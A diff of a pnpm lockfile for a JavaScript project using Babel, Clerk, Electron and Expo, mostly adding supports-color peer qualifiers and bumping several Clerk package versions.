'@babel/plugin-transform-react-jsx-development@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 - '@babel/plugin-transform-react-jsx': 7.29.7(@babel/core@7.29.7) + '@babel/core': 7.29.7(supports-color@8.1.1) + '@babel/plugin-transform-react-jsx': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) transitivePeerDependencies: - supports-color - '@babel/plugin-transform-react-jsx-self@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-react-jsx-self@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-transform-react-jsx-source@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-react-jsx-source@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-transform-react-jsx@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-react-jsx@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-annotate-as-pure': 7.29.7 - '@babel/helper-module-imports': 7.29.7 + '@babel/helper-module-imports': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-syntax-jsx': 7.29.7(@babel/core@7.29.7) + '@babel/plugin-syntax-jsx': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) '@babel/types': 7.29.8 transitivePeerDependencies: - supports-color - '@babel/plugin-transform-react-pure-annotations@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-react-pure-annotations@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-annotate-as-pure': 7.29.7 '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-transform-regenerator@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-regenerator@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-transform-runtime@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-runtime@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 - '@babel/helper-module-imports': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) + '@babel/helper-module-imports': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - babel-plugin-polyfill-corejs2: 0.4.17(@babel/core@7.29.7) - babel-plugin-polyfill-corejs3: 0.13.0(@babel/core@7.29.7) - babel-plugin-polyfill-regenerator: 0.6.8(@babel/core@7.29.7) + babel-plugin-polyfill-corejs2: 0.4.17(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + babel-plugin-polyfill-corejs3: 0.13.0(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + babel-plugin-polyfill-regenerator: 0.6.8(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) semver: 6.3.1 transitivePeerDependencies: - supports-color - '@babel/plugin-transform-shorthand-properties@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-shorthand-properties@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-transform-template-literals@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-template-literals@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-transform-typescript@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-typescript@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-annotate-as-pure': 7.29.7 - '@babel/helper-create-class-features-plugin': 7.29.7(@babel/core@7.29.7) + '@babel/helper-create-class-features-plugin': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/helper-skip-transparent-expression-wrappers': 7.29.7 - '@babel/plugin-syntax-typescript': 7.29.7(@babel/core@7.29.7) + '@babel/helper-skip-transparent-expression-wrappers': 7.29.7(supports-color@8.1.1) + '@babel/plugin-syntax-typescript': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) transitivePeerDependencies: - supports-color - '@babel/plugin-transform-unicode-regex@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-unicode-regex@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 - '@babel/helper-create-regexp-features-plugin': 7.29.7(@babel/core@7.29.7) + '@babel/core': 7.29.7(supports-color@8.1.1) + '@babel/helper-create-regexp-features-plugin': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) '@babel/helper-plugin-utils': 7.29.7 - '@babel/preset-typescript@7.29.7(@babel/core@7.29.7)': + '@babel/preset-typescript@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 '@babel/helper-validator-option': 7.29.7 - '@babel/plugin-syntax-jsx': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-modules-commonjs': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-typescript': 7.29.7(@babel/core@7.29.7) + '@babel/plugin-syntax-jsx': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-modules-commonjs': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-typescript': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) transitivePeerDependencies: - supports-color @@ -13457,7 +13291,7 @@ snapshots: '@babel/parser': 7.29.8 '@babel/types': 7.29.8 - '@babel/traverse@7.29.7': + '@babel/traverse@7.29.7(supports-color@8.1.1)': dependencies: '@babel/code-frame': 7.29.7 '@babel/generator': 7.29.7 @@ -13465,7 +13299,7 @@ snapshots: '@babel/parser': 7.29.8 '@babel/template': 7.29.7 '@babel/types': 7.29.8 - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) transitivePeerDependencies: - supports-color @@ -13561,16 +13395,16 @@ snapshots: '@clerk/backend@3.25.0(react-dom@19.3.0(react@19.3.0))(react@19.3.0)': dependencies: - '@clerk/shared': 4.40.0(react-dom@19.3.0(react@19.3.0))(react@19.3.0) + '@clerk/shared': 4.41.0(react-dom@19.3.0(react@19.3.0))(react@19.3.0) standardwebhooks: 1.0.0 tslib: 2.8.1 transitivePeerDependencies: - react - react-dom - '@clerk/clerk-js@6.39.1(react-dom@19.3.0(react@19.3.0))(react@19.3.0)': + '@clerk/clerk-js@6.40.0(react-dom@19.3.0(react@19.3.0))(react@19.3.0)': dependencies: - '@clerk/shared': 4.40.0(react-dom@19.3.0(react@19.3.0))(react@19.3.0) + '@clerk/shared': 4.41.0(react-dom@19.3.0(react@19.3.0))(react@19.3.0) '@stripe/stripe-js': 5.6.0 '@swc/helpers': 0.5.21 '@tanstack/query-core': 5.102.8 @@ -13604,12 +13438,12 @@ snapshots: '@clerk/electron-passkeys-win32-arm64-msvc': 0.0.3 '@clerk/electron-passkeys-win32-x64-msvc': 0.0.3 - '@clerk/electron@0.1.1(patch_hash=6e7944f61680e5d0caa0ed1ec69b43265a76d74733e77ee73a227fe6d6df02e1)(@clerk/electron-passkeys@0.0.3)(electron-store@8.2.0)(electron@44.9.3)(react-dom@19.3.0(react@19.3.0))(react@19.3.0)': + '@clerk/electron@0.1.3(@clerk/electron-passkeys@0.0.3)(electron-store@8.2.0)(electron@44.9.3(supports-color@8.1.1))(react-dom@19.3.0(react@19.3.0))(react@19.3.0)': dependencies: - '@clerk/clerk-js': 6.39.1(react-dom@19.3.0(react@19.3.0))(react@19.3.0) - '@clerk/react': 6.17.8(react-dom@19.3.0(react@19.3.0))(react@19.3.0) - '@clerk/shared': 4.40.0(react-dom@19.3.0(react@19.3.0))(react@19.3.0) - electron: 44.9.3 + '@clerk/clerk-js': 6.40.0(react-dom@19.3.0(react@19.3.0))(react@19.3.0) + '@clerk/react': 6.18.0(react-dom@19.3.0(react@19.3.0))(react@19.3.0) + '@clerk/shared': 4.41.0(react-dom@19.3.0(react@19.3.0))(react@19.3.0) + electron: 44.9.3(supports-color@8.1.1) react: 19.3.0 tslib: 2.8.1 optionalDependencies: @@ -13617,49 +13451,49 @@ snapshots: electron-store: 8.2.0 react-dom: 19.3.0(react@19.3.0) - '@clerk/expo-native-components@0.2.0(patch_hash=7a808b92da8460750b85818552e13be3fb73d111691c7db76965970351e124e4)(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)(typescript@7.0.2)': + '@clerk/expo-native-components@0.2.0(patch_hash=7a808b92da8460750b85818552e13be3fb73d111691c7db76965970351e124e4)(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1)(typescript@7.0.2)': dependencies: - '@expo/config-plugins': 58.0.9(typescript@7.0.2) - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + '@expo/config-plugins': 58.0.9(supports-color@8.1.1)(typescript@7.0.2) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) tslib: 2.8.1 transitivePeerDependencies: - supports-color - typescript - '@clerk/expo@4.13.0(7b5e2b0afc01ce7ef5801e333b018457)': + '@clerk/expo@4.13.0(f64b0f25957a972ead17046e3279ac85)': dependencies: - '@clerk/clerk-js': 6.39.1(react-dom@19.3.0(react@19.3.0))(react@19.3.0) - '@clerk/react': 6.17.8(react-dom@19.3.0(react@19.3.0))(react@19.3.0) - '@clerk/shared': 4.40.0(react-dom@19.3.0(react@19.3.0))(react@19.3.0) - '@expo/config-plugins': 58.0.9(typescript@7.0.2) + '@clerk/clerk-js': 6.40.0(react-dom@19.3.0(react@19.3.0))(react@19.3.0) + '@clerk/react': 6.18.0(react-dom@19.3.0(react@19.3.0))(react@19.3.0) + '@clerk/shared': 4.41.0(react-dom@19.3.0(react@19.3.0))(react@19.3.0) + '@expo/config-plugins': 58.0.9(supports-color@8.1.1)(typescript@7.0.2) base-64: 1.0.0 - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) - react-native-url-polyfill: 4.0.0(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6)) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) + react-native-url-polyfill: 4.0.0(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)) tslib: 2.8.1 optionalDependencies: - '@clerk/expo-native-components': 0.2.0(patch_hash=7a808b92da8460750b85818552e13be3fb73d111691c7db76965970351e124e4)(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)(typescript@7.0.2) - expo-auth-session: 58.0.13(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)(typescript@7.0.2) - expo-constants: 58.0.12(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(typescript@7.0.2) + '@clerk/expo-native-components': 0.2.0(patch_hash=7a808b92da8460750b85818552e13be3fb73d111691c7db76965970351e124e4)(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1)(typescript@7.0.2) + expo-auth-session: 58.0.13(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1)(typescript@7.0.2) + expo-constants: 58.0.12(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(supports-color@8.1.1)(typescript@7.0.2) expo-crypto: 58.0.7(expo@58.0.14) expo-secure-store: 58.0.2(expo@58.0.14) - expo-web-browser: 58.0.6(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6)) + expo-web-browser: 58.0.6(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)) react-dom: 19.3.0(react@19.3.0) transitivePeerDependencies: - supports-color - typescript - '@clerk/react@6.17.8(react-dom@19.3.0(react@19.3.0))(react@19.3.0)': + '@clerk/react@6.18.0(react-dom@19.3.0(react@19.3.0))(react@19.3.0)': dependencies: - '@clerk/shared': 4.40.0(react-dom@19.3.0(react@19.3.0))(react@19.3.0) + '@clerk/shared': 4.41.0(react-dom@19.3.0(react@19.3.0))(react@19.3.0) react: 19.3.0 react-dom: 19.3.0(react@19.3.0) tslib: 2.8.1 - '@clerk/shared@4.40.0(react-dom@19.3.0(react@19.3.0))(react@19.3.0)': + '@clerk/shared@4.41.0(react-dom@19.3.0(react@19.3.0))(react@19.3.0)': dependencies: '@tanstack/query-core': 5.102.8 dequal: 2.0.3 @@ -14000,10 +13834,10 @@ snapshots: '@effect/tsgo-win32-arm64': 0.51.1 '@effect/tsgo-win32-x64': 0.51.1 - '@effect/vitest@4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0)': + '@effect/vitest@4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0)': dependencies: effect: 4.0.5 - vite-plus: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + vite-plus: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) transitivePeerDependencies: - '@arethetypeswrong/core' - '@astrojs/compiler-rs' @@ -14074,45 +13908,45 @@ snapshots: fs-extra: 9.1.0 minimist: 1.2.8 - '@electron/get@3.1.0': + '@electron/get@3.1.0(supports-color@8.1.1)': dependencies: - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) env-paths: 2.2.1 fs-extra: 8.1.0 got: 11.8.6 progress: 2.0.3 semver: 6.3.1 - sumchecker: 3.0.1 + sumchecker: 3.0.1(supports-color@8.1.1) optionalDependencies: global-agent: 3.0.0 transitivePeerDependencies: - supports-color - '@electron/get@5.1.0': + '@electron/get@5.1.0(supports-color@8.1.1)': dependencies: - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) env-paths: 3.0.0 graceful-fs: 4.2.11 progress: 2.0.3 semver: 7.8.5 - sumchecker: 3.0.1 + sumchecker: 3.0.1(supports-color@8.1.1) optionalDependencies: undici: 7.29.1 transitivePeerDependencies: - supports-color - '@electron/notarize@2.5.0': + '@electron/notarize@2.5.0(supports-color@8.1.1)': dependencies: - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) fs-extra: 9.1.0 promise-retry: 2.0.1 transitivePeerDependencies: - supports-color - '@electron/osx-sign@1.3.3': + '@electron/osx-sign@1.3.3(supports-color@8.1.1)': dependencies: compare-version: 0.1.2 - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) fs-extra: 10.1.0 isbinaryfile: 4.0.10 minimist: 1.2.8 @@ -14122,29 +13956,29 @@ snapshots: '@electron/osx-sign@2.7.0': dependencies: - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) isbinaryfile: 4.0.10 plist: 3.1.1 semver: 7.8.5 transitivePeerDependencies: - supports-color - '@electron/rebuild@4.0.4': + '@electron/rebuild@4.0.4(supports-color@8.1.1)': dependencies: '@malept/cross-spawn-promise': 2.0.0 - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) node-abi: 4.33.0 node-api-version: 0.2.1 node-gyp: 12.4.0 - read-binary-file-arch: 1.0.6 + read-binary-file-arch: 1.0.6(supports-color@8.1.1) transitivePeerDependencies: - supports-color - '@electron/universal@2.0.3': + '@electron/universal@2.0.3(supports-color@8.1.1)': dependencies: '@electron/asar': 3.4.1 '@malept/cross-spawn-promise': 2.0.0 - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) dir-compare: 4.2.0 fs-extra: 11.3.5 minimatch: 9.0.9 @@ -14152,10 +13986,10 @@ snapshots: transitivePeerDependencies: - supports-color - '@electron/windows-sign@1.2.2': + '@electron/windows-sign@1.2.2(supports-color@8.1.1)': dependencies: cross-dirname: 0.1.0 - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) fs-extra: 11.3.5 minimist: 1.2.8 postject: 1.0.0-alpha.6 @@ -14417,35 +14251,35 @@ snapshots: '@expo-google-fonts/material-symbols@0.4.38': {} - '@expo/cli@58.1.11(@expo/dom-webview@58.0.2)(@expo/metro-runtime@58.0.14)(bufferutil@4.1.0)(expo-constants@58.0.12(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(typescript@7.0.2))(expo-font@58.0.8(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)(typescript@7.0.2)(utf-8-validate@6.0.6)': + '@expo/cli@58.1.11(122bb879cf862e703fa54111e57fbca5)': dependencies: 2g: 1.0.1(typescript@7.0.2) '@expo/code-signing-certificates': 0.0.7 - '@expo/config': 58.0.6(typescript@7.0.2) - '@expo/config-plugins': 58.0.9(typescript@7.0.2) - '@expo/devcert': 1.2.2 - '@expo/env': 2.5.2 - '@expo/image-utils': 0.12.5(typescript@7.0.2) - '@expo/inline-modules': 0.2.6(typescript@7.0.2) + '@expo/config': 58.0.6(supports-color@8.1.1)(typescript@7.0.2) + '@expo/config-plugins': 58.0.9(supports-color@8.1.1)(typescript@7.0.2) + '@expo/devcert': 1.2.2(supports-color@8.1.1) + '@expo/env': 2.5.2(supports-color@8.1.1) + '@expo/image-utils': 0.12.5(supports-color@8.1.1)(typescript@7.0.2) + '@expo/inline-modules': 0.2.6(supports-color@8.1.1)(typescript@7.0.2) '@expo/json-file': 11.2.1 - '@expo/log-box': 58.0.12(@expo/dom-webview@58.0.2)(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + '@expo/log-box': 58.0.12(@expo/dom-webview@58.0.2)(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) '@expo/log-box-utils': 58.0.2 - '@expo/metro': 58.0.0(bufferutil@4.1.0)(utf-8-validate@6.0.6) - '@expo/metro-config': 58.0.14(patch_hash=90fa980e8b6480631fb2fbb04559834e3c612db40c550cd828f11be297d8d760)(bufferutil@4.1.0)(expo@58.0.14)(typescript@7.0.2)(utf-8-validate@6.0.6) - '@expo/metro-file-map': 58.0.5(typescript@7.0.2) + '@expo/metro': 58.0.0(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) + '@expo/metro-config': 58.0.14(patch_hash=90fa980e8b6480631fb2fbb04559834e3c612db40c550cd828f11be297d8d760)(bufferutil@4.1.0)(expo@58.0.14)(supports-color@8.1.1)(typescript@7.0.2)(utf-8-validate@6.0.6) + '@expo/metro-file-map': 58.0.5(supports-color@8.1.1)(typescript@7.0.2) '@expo/osascript': 2.8.1 '@expo/package-manager': 1.14.2 '@expo/platforms': 58.0.1 '@expo/plist': 0.10.1 - '@expo/prebuild-config': 58.0.14(typescript@7.0.2) - '@expo/require-utils': 58.0.4(typescript@7.0.2) - '@expo/router-server': 58.0.14(@expo/metro-runtime@58.0.14)(expo-constants@58.0.12(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(typescript@7.0.2))(expo-font@58.0.8(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(expo-server@58.0.5)(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react@19.3.0) + '@expo/prebuild-config': 58.0.14(supports-color@8.1.1)(typescript@7.0.2) + '@expo/require-utils': 58.0.4(supports-color@8.1.1)(typescript@7.0.2) + '@expo/router-server': 58.0.14(@expo/metro-runtime@58.0.14)(expo-constants@58.0.12(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(supports-color@8.1.1)(typescript@7.0.2))(expo-font@58.0.8(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0))(expo-server@58.0.5)(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react@19.3.0)(supports-color@8.1.1) '@expo/schema-utils': 58.0.2 '@expo/spawn-async': 1.8.0 '@expo/ws-tunnel': 2.0.1(ws@8.22.0(bufferutil@4.1.0)(utf-8-validate@6.0.6)) '@expo/xcpretty': 4.4.7 '@react-native/asset-utils': 0.88.0 - '@react-native/dev-middleware': 0.88.0(bufferutil@4.1.0)(utf-8-validate@6.0.6) + '@react-native/dev-middleware': 0.88.0(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) '@react-native/js-polyfills': 0.88.0 accepts: 1.3.8 agent-cli-detector: 0.1.7 @@ -14454,10 +14288,10 @@ snapshots: bplist-parser: 0.3.2 chalk: 4.1.2 